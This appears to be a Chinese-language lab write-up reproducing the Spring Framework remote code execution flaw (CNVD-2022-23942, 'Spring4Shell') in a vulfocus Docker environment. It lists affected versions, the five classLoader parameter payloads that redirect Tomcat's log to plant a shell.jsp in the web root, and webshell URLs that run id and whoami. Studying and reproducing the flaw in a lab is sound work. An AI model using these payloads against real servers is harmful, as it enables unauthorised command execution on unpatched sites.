一、漏洞简介
2022年3月31日,国家信息安全漏洞共享平台(CNVD)发布公告预警Spring框架远程命令执行漏洞(CNVD-2022-23942),攻击者利用该漏洞,可在未授权的情况下远程执行命令。
漏洞触发条件如下:
使用JDK9及以上版本的Spring MVC框架
Spring框架以及衍生的框架spring-beans-*.jar文件或者存在
CachedIntrospectionResults.class
漏洞影响版本如下:
jdk版本在9及以上的使用了版本低于5.3.18和5.2.20的Spring框架或其衍生框架构建的网站或应用
二、漏洞复现
使用docker搭建SpringCore RCE测试环境
docker pull vulfocus/spring-core-rce-2022-03-29
在8090端口开启spring,环境要基于tomcat
docker run -dit -p 8090:8080 vulfocus/spring-core-rce-2022-03-29
访问8090端口,返回ok,证明启动成功。
开始利用~
(主要是利⽤class对象构造利⽤链,对Tomcat的⽇志配置进行修改,然后,向⽇志中写⼊shell)
具体攻击步骤如下:
先后发送以上5个利用链的请求:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
成功写入shell文件shell.jsp到网站根目录,如下图所示:
下一步写入webshell到网站根目录,POST数据包如下:
Webshell内容简单的命令执行,密码是t,命令执行内容显示“//”前面
访问ip:8090/shell.jsp?pwd=t&cmd=id ,ip:8090/shell.jsp?pwd=t&cmd=whoami,成功返回结果。
本次复现借鉴 Spring框架远程命令执行漏洞复现及分析 - FreeBuf网络安全行业门户,请参考~